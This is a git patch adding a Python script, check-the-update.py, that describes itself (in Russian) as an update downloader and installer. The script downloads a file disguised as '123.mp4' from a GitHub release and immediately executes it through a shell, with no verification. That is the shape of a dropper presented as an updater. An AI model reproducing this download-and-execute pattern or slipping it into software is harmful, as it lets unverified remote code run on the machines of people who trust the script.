From f9a8fe41d5dec62f45c6b70068d759eac675a6e0 Mon Sep 17 00:00:00 2001 From: kromskii2 <146603192+kromskii2@users.noreply.github.com> Date: Mon, 25 Mar 2024 20:51:43 +0700 Subject: [PATCH] =?UTF-8?q?=D0=A4=D1=83=D0=BD=D0=BA=D1=86=D0=B8=D1=8F=20?= =?UTF-8?q?=D1=81=D0=BA=D0=B0=D1=87=D0=B8=D0=B2=D0=B0=D0=BD=D0=B8=D1=8F=20?= =?UTF-8?q?=D0=BE=D0=B1=D0=BD=D0=BE=D0=B2=D0=BB=D0=B5=D0=BD=D0=B8=D1=8F=20?= =?UTF-8?q?=D0=B8=20=D0=B7=D0=B0=D0=BF=D1=83=D1=81=D0=BA=20=D1=83=D1=81?= =?UTF-8?q?=D1=82=D0=B0=D0=BD=D0=BE=D0=B2=D0=BA=D0=B8=20=D0=B5=D0=B3=D0=BE?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit --- check-the-update.py | 36 ++++++++++++++++++++++++++++++++++++ 1 file changed, 36 insertions(+) create mode 100644 check-the-update.py diff --git a/check-the-update.py b/check-the-update.py new file mode 100644 index 0000000..998e7ab --- /dev/null +++ b/check-the-update.py @@ -0,0 +1,36 @@ +import os +import requests +import subprocess + +def download_file(url, save_path): + try: + response = requests.get(url) + with open(save_path, 'wb') as f: + f.write(response.content) + print("Файл успешно скачан и сохранён в", save_path) + return True + except Exception as e: + print("Ошибка при скачивании файла:", e) + return False + +def run_update_file(file_path): + try: + subprocess.call(file_path, shell=True) + print("Файл обновления успешно запущен") + except Exception as e: + print("Ошибка при запуске файла обновления:", e) + +if __name__ == "__main__": + update_url = "https://github.com/kromskii2/Klajer/releases/download/check-the-update/123.mp4" + temp_folder = "temp" + update_file_name = "123.mp4" # Имя скачиваемого файла обновления + + if not os.path.exists(temp_folder): + os.makedirs(temp_folder) + + update_file_path = os.path.join(temp_folder, update_file_name) + + if download_file(update_url, update_file_path): + run_update_file(update_file_path) + else: + print("Не удалось скачать файл обновления.")